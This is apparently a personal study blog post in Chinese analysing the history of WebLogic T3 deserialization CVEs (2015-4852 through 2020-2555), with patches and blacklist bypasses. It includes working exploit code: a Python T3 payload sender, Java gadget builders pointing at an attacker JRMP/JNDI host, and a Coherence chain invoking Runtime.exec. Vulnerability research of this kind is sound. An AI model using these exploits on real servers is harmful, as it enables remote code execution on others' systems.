前言
以下内容摘自:weblogic_百度百科
WebLogic 是美国 Oracle 公司出品的一个 application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic 是用于开发、集成、部署和管理大型分布式 Web 应用、网络应用和数据库应用的 Java应用服务器。将 Java 的动态功能和 Java Enterprise 标准的安全性引入大型网络应用的开发、集成、部署和管理之中。
与 tomcat 类似,都是中间件。区别是 tomcat 开源免费易用,而 weblogic 不开源不免费但是功能强大,各有千秋。
先看 t3 反序列化,后面再看 xml 的,仅仅是个人学习记录,没有太多的调试环节
环境搭建
使用了 QAX-A-Team 的自动搭建脚本(Weblogic 环境搭建工具),很好用!其配套文章在这:WebLogic 安全研究报告
直接执行 sh 脚本即可
构建并运行
docker build --build-arg JDK_PKG=jdk-7u21-linux-x64.tar.gz --build-arg WEBLOGIC_JAR=wls1036_generic.jar -t weblogic1036jdk7u21 .
docker run -d -p 7001:7001 -p 8453:8453 -p 5556:5556 --name weblogic1036jdk7u21 weblogic1036jdk7u21
访问 ip:port/console/login/LoginForm.jsp
远程调试
将 Weblogic 依赖拉出,并导入 idea 中
mkdir ./middleware
docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/modules ./middleware/
docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/wlserver ./middleware/
docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/coherence_3.7/lib ./coherence_3.7/lib
idea 打开 wlserver,导入其他的依赖
一共三个依赖。然后配置远程 debug
仅需修改 IP 与端口。然后开启 debug,出现下面提示即为远程 debug 链接成功
断点调试测试
在weblogic/wsee/jaxws/WLSServletAdapter.class#handle()
打上断
然后访问:http://192.168.74.131:7001/wls-wsat/CoordinatorPortType,即可命中断点
T3 反序列化漏洞
T3 协议简介
weblogic 对 rmi 规范的实现叫 T3 协议
T3 传输协议是 WebLogic 的自有协议,它有如下特点:
- 服务端可以持续追踪监控客户端是否存活(心跳机制),通常心跳的间隔为 60 秒,服务端在超过 240 秒未收到心跳即判定与客户端的连接丢失。
- 通过建立一次连接可以将全部数据包传输完成,优化了数据包大小和网络消耗。
数据包构成
WebLogic 安全研究报告中写的更加详细,想了解的师傅可以去看看,我就不再“摘抄”了。
wireshark 使用tcp.port == 7001
筛选出所需数据包ac ed 00 05
是反序列化标志,而在 T3 协议中每个序列化数据包前面都有fe 01 00 00
,所以 T3 的序列化标志为fe 01 00 00 ac ed 00 05
在 qax 的文章中还发现一个数据包可以存在多个序列化数据,这从 T3 的特点中也能理解,所以在发送序列化数据的时候可以替换其中的一个序列化数据包来达到反序列化攻击,借文中一张图
CVE-2015-4852
漏洞位置在 weblogic/rjvm/InboundMsgAbbrev.class#readObject()
跟进ServerChannelInputStream
可以看到其继承了ObjectInputStream
且重写了resolveClass()
,并且resolveClass()
没有任何防御直接链接了 Class。链接完后返回进行反序列化
如果不晓得
resolveClass()
干啥的可以看看ClassLoader(类加载器)和Java 类加载机制分析
到这里 sink 点有了,缺少 gadget。查看 weblogic 模块可以发现存在 cc!且版本是存在 rce 的 3.2.0
那么直接 cc1 的链子拼接到 T3 协议里面就行了
import socket
import sys
import struct
import re
import subprocess
import binascii
def get_payload1(gadget, command):
JAR_FILE = 'ysoserial.jar'
popen = subprocess.Popen(['java', '-jar', JAR_FILE, gadget, command], stdout=subprocess.PIPE)
return popen.stdout.read()
def get_payload2(path):
with open(path, "rb") as f:
return f.read()
def exp(host, port, payload):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, port))
handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n".encode()
sock.sendall(handshake)
data = sock.recv(1024)
pattern = re.compile(r"HELO:(.*).false")
version = re.findall(pattern, data.decode())
if len(version) == 0:
print("Not Weblogic")
return
print("Weblogic {}".format(version[0]))
data_len = binascii.a2b_hex(b"00000000") #数据包长度,先占位,后面会根据实际情况重新
t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006") #t3协议头
flag = binascii.a2b_hex(b"fe010000") #反序列化数据标志
payload = data_len + t3header + flag + payload
payload = struct.pack('>I', len(payload)) + payload[4:] #重新计算数据包长度
sock.send(payload)
print("send payload success~")
if __name__ == "__main__":
host = "192.168.74.131"
port = 7001
gadget = "CommonsCollections1" #CommonsCollections1 Jdk7u21
command = "touch /tmp/success"
payload = get_payload1(gadget, command)
exp(host, port, payload)
修复
和 fastjson 类似吧,一直放黑名单。基本都是在 resloveClass 前进行黑名单检测,检测到就抛异常。
黑名单用的李师傅的图
CVE-2016-0638
后面就是花式绕黑名单了
这个 cve 对我来说有意思的是反序列化调用了readExternal()
方法,这个方法是实现Externalizable接口必须重写的,它是Serializable接口的子接口,他俩区别是
>
图片摘自Java 序列化全解密,详细调用过程可以看JAVA 反序列化的简单探究
写了一个小 demo
import java.io.Externalizable;
import java.io.IOException;
import java.io.ObjectInput;
import java.io.ObjectOutput;
/**
* ObjectA
*
* @author yq1ng
* @date 2022/1/23 22:41
* @since 1.0.0
*/
public class ObjectA implements Externalizable{
@Override
public void writeExternal(ObjectOutput out) throws IOException {
System.out.println("writeExternal......");
}
@Override
public void readExternal(ObjectInput in) throws IOException, ClassNotFoundException {
System.out.println("readExternal......");
}
}
import java.io.*;
/**
* test
*
* @author yq1ng
* @date 2022/1/23 17:27
* @since 1.0.0
*/
public class test {
public static void main(String[] args) throws IOException, ClassNotFoundException {
ObjectA objectA = new ObjectA();
System.out.println("writeObject......");
ByteArrayOutputStream out = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(out);
oos.writeObject(objectA);
System.out.println("readObject......");
ByteArrayInputStream in = new ByteArrayInputStream(out.toByteArray());
ObjectInputStream ois = new ObjectInputStream(in);
System.out.println(ois.readObject());
}
}
然后看这个 cve,他是找了weblogic/jms/common/StreamMessageImpl.class#readExternal()
作为 sink 点
这个方法里面又再次进行了反序列化,那么可以把恶意 gadget 放进 StreamMessageImpl 让他在进行一次反序列化,这个 cve 也相当于二次反序列化。
看方法实现,我们只需要控制 payload 即可。跟进createPayload()
将读取到的 Chunk 进行反序列化
poc 也很好实现,重写writeExternal()
的方法,将需要二次反序列化的数据写进去,然后再序列化类,可以看这个文章:忆——Weblogic CVE-2016-0638 反序列化漏洞,不再赘述了。
修复
将ObjectInputStream
换成了FilteringObjectInputStream
,FilteringObjectInputStream
在resolveClass
的时候会检查是否存在黑名单里面
CVE-2016-3510
weblogic.corba.utils.MarshalledObject
不在黑名单中
修复
2016 年 10 月 p23743997_1036_Generic:重写了 resolveClass 方法,加了过滤。
CVE-2017-3248
使用了 jrmp 进行 rce
图片来源:https://y4er.com/post/weblogic-jrmp/
import socket
import sys
import struct
import re
import subprocess
import binascii
def get_payload1(gadget, command):
JAR_FILE = '/Users/cengsiqi/Desktop/javasectools/ysoserial/target/ysoserial-0.0.6-SNAPSHOT-all.jar'
popen = subprocess.Popen(['java', '-jar', JAR_FILE, gadget, command], stdout=subprocess.PIPE)
return popen.stdout.read()
def get_payload2(path):
with open(path, "rb") as f:
return f.read()
def exp(host, port, payload):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, port))
handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n".encode()
sock.sendall(handshake)
data = sock.recv(1024)
pattern = re.compile(r"HELO:(.*).false")
version = re.findall(pattern, data.decode())
if len(version) == 0:
print("Not Weblogic")
return
print("Weblogic {}".format(version[0]))
data_len = binascii.a2b_hex(b"00000000") #数据包长度,先占位,后面会根据实际情况重新
t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006") #t3协议头
flag = binascii.a2b_hex(b"fe010000") #反序列化数据标志
payload = data_len + t3header + flag + payload
payload = struct.pack('>I', len(payload)) + payload[4:] #重新计算数据包长度
sock.send(payload)
if __name__ == "__main__":
host = "127.0.0.1"
port = 7001
gadget = "JRMPClient" #CommonsCollections1 Jdk7u21 JRMPClient
command = "192.168.1.3:8080" #
payload = get_payload1(gadget, command)
exp(host, port, payload)
修复
p24667634_1036_Generic:官方的修复是新加resolveProxyClass
,过滤java.rmi.registry.Registry
CVE-2018-2628
上面只过滤了java.rmi.registry.Registry
,那只是原生的 jrmp 不能用了,提两个绕过。
- 看上面补丁,他补丁只打了
resolveProxyClass
,那么 yso 去掉 proxy 就行,这样反序列化的时候就会走resolveClass
,也就不会进黑名单了 - 寻找可替代的接口。廖新喜师傅的方式是使用
java.rmi.activation.Activator
来替代java.rmi.registry.Registry
生成 payload
改造 yso 的 payload 可以看weblogic 漏洞分析之 CVE-2017-3248 & CVE-2018-2628
修复
2018 年四月发布的 p27395085_1036_Generic UnicastRef 在 weblogic.utils.io.oif.WebLogicFilterConfig 中加进了黑名单
这个补丁似乎对上面两个方法都不奏效,原因是此补丁是专门针对 lpwd 师傅提交的漏洞的,文章链接:Weblogic JRMP 反序列化漏洞回顾,黑名单嘛,见怪不怪了
CVE-2018-2893
streamMessageImpl + jrmp 代理类绕过
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import weblogic.jms.common.StreamMessageImpl;
import java.io.*;
import java.lang.reflect.Proxy;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;
public class CVE_2018_2893 {
public static void main(String[] args) throws IOException {
ObjID objID = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint tcpEndpoint = new TCPEndpoint("192.168.1.3", 8080);
UnicastRef unicastRef = new UnicastRef(new LiveRef(objID, tcpEndpoint, false));
RemoteObjectInvocationHandler remoteObjectInvocationHandler = new RemoteObjectInvocationHandler(unicastRef);//通过代理
Object object = Proxy.newProxyInstance(Thread.currentThread().getContextClassLoader(), new Class[] { Registry.class }, remoteObjectInvocationHandler);
StreamMessageImpl streamMessage = new StreamMessageImpl(serialize(object));
ser(streamMessage, "CVE_2018_2893.ser");
}
public static void ser(Object obj, String serName) throws IOException {
File file = new File(serName);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(file));
oos.writeObject(obj);
System.out.println("-------序列化成功" + serName);
}
public static byte[] serialize(final Object obj) throws IOException {
final ByteArrayOutputStream out = new ByteArrayOutputStream();
serialize(obj, out);
return out.toByteArray();
}
public static void serialize(final Object obj, final OutputStream out) throws IOException {
final ObjectOutputStream objOut = new ObjectOutputStream(out);
objOut.writeObject(obj);
}
}
CVE-2016-0638 的修复中只对resolveClass
进行黑名单检查,没有对resolveProxyClass
进行黑名单检查,所以这次的 payload 使用了代理,这个很好理解。但是UnicastRef
在黑名单为什么还能用?来看RemoteObjectInvocationHandler
,这个类它继承自RemoteObject
,所以看RemoteObject#writeObject()
这里只写入了类名,并没有序列化这个类,然后去调用UnicastRef#writeExternal()
写入了 host 与 port
修复
18 年 7 月 p27919965_1036_Generic:这次修复把经过 resolveClass 的 java.rmi.server.RemoteObjectInvocationHandler 给过滤了
CVE-2018-3245
RemoteObjectInvocationHandler 给 ban 了,那么找一个类似的替代,就像上面的 jrmp 一样,下面是 lpwd 师傅的话
那么这个类应该满足以下条件:
- 继承远程类:java.rmi.server.RemoteObject
- 不在黑名单里边(java.rmi.activation._ 、sun.rmi.server._)
随便找了一下,符合条件的挺多的:
javax.management.remote.rmi.RMIConnectionImpl_Stub
com.sun.jndi.rmi.registry.ReferenceWrapper_Stub
javax.management.remote.rmi.RMIServerImpl_Stub
sun.rmi.registry.RegistryImpl_Stub
sun.rmi.transport.DGCImpl_Stub
import com.sun.jndi.rmi.registry.ReferenceWrapper_Stub;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import java.io.*;
import java.rmi.server.ObjID;
import java.util.Random;
public class CVE_2018_3245 {
public static void main(String[] args) throws IOException {
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint("192.168.1.3", 8080);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
ReferenceWrapper_Stub wrapperStub = new ReferenceWrapper_Stub(ref);
ser(wrapperStub, "CVE_2018_3245.ser");
}
public static void ser(Object obj, String serName) throws IOException {
File file = new File(serName);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(file));
oos.writeObject(obj);
System.out.println("-------序列化成功" + serName);
}
}
修复
2018 年 8 月 p28343311_1036_201808Generic :修复方法是添加更底层的 java.rmi.server.RemoteObject。
CVE-2018-3191
这次是 jndi,漏洞点在 JtaTransactionManager
看到 lookup 应该就懂了,继续跟下去也行
poc 如下
import com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
public class CVE_2018_3191 {
public static void main(String[] args) throws IOException {
String jndiAddress = "rmi://192.168.1.3:1099/Exploit";
JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();
jtaTransactionManager.setUserTransactionName(jndiAddress);
ser(jtaTransactionManager, "CVE_2018_3191.ser");
}
public static void ser(Object obj, String serName) throws IOException {
File file = new File(serName);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(file));
oos.writeObject(obj);
System.out.println("-------序列化成功" + serName);
}
}
修复
2018 年 8 月 p28343311_1036_Generic:
CVE-2020-2555
Oracle Coherence 组件存在漏洞,该组件默认集成在 Weblogic12c 及以上版本中(网上资料这么说的:web10.3.6 也有只是默认没有启用,未验证)。 这个漏洞和 cc5 的构造有异曲同工之妙,触发点在 BadAttributeValueExpException#readObject 中调用 toString 方法。
有点像 cc5,触发 toString、反射任意方法调用,具体分析可以看 y4er 师傅的:https://y4er.com/post/weblogic-cve-2020-2555/,我这就不去复制粘贴了
import com.tangosol.util.ValueExtractor;
import com.tangosol.util.extractor.ChainedExtractor;
import com.tangosol.util.extractor.ReflectionExtractor;
import com.tangosol.util.filter.LimitFilter;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
public class CVE_2020_2555 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
//String cmd = "touch /tmp/CVE_2020_2555_12013";
String cmd ="calc.exe";
ValueExtractor[] valueExtractors = new ValueExtractor[]{
new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[0]}),
new ReflectionExtractor("invoke", new Object[]{null, new Object[0]}),
//new ReflectionExtractor("exec", new Object[]{new String[]{"/bin/bash", "-c", cmd}})
new ReflectionExtractor("exec", new Object[]{new String[]{"cmd.exe", "/c", cmd}})
};
// chain
LimitFilter limitFilter = new LimitFilter();
limitFilter.setTopAnchor(Runtime.class);
BadAttributeValueExpException expException = new BadAttributeValueExpException(null);
Field m_comparator = limitFilter.getClass().getDeclaredField("m_comparator");
m_comparator.setAccessible(true);
m_comparator.set(limitFilter, new ChainedExtractor(valueExtractors));
Field m_oAnchorTop = limitFilter.getClass().getDeclaredField("m_oAnchorTop");
m_oAnchorTop.setAccessible(true);
m_oAnchorTop.set(limitFilter, Runtime.class);
Field val = expException.getClass().getDeclaredField("val");
val.setAccessible(true);
val.set(expException, limitFilter);
ser(expException, "./CVE_2020_2555_12013.ser");
}
public static void ser(Object obj, String serName) throws IOException {
File file = new File(serName);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(file));
oos.writeObject(obj);
System.out.println("-------序列化成功" + serName);
}
}
修复
删除了 extractor.extract
总结
参考大师傅文章梳理完一遍之后,我们得以看到整个绕过思路的全貌。笔者主观分为三个阶段。
- 第一阶段,CVE-2016-0638 和 CVE-2016-3510。利用反序列化流程中新 new 的原生 ois 绕过,只要找到了 read*系列的点可以比较容易的看出来。
- 第二阶段,cve-2017-3248 到 cve-2018-3191。利用 jrmp、jndi 带外 rce,漏洞点没有在 read*的代码上下文中需要多跟几步有点“pop”的感觉了。
- 第三阶段,cve-2020-2555,需要对 java 的反序列化出现过知识点很熟悉(java 原生类的触发点+weblogic 组件中类似 cc 的套路),据说这个漏洞的作者也挖了很久。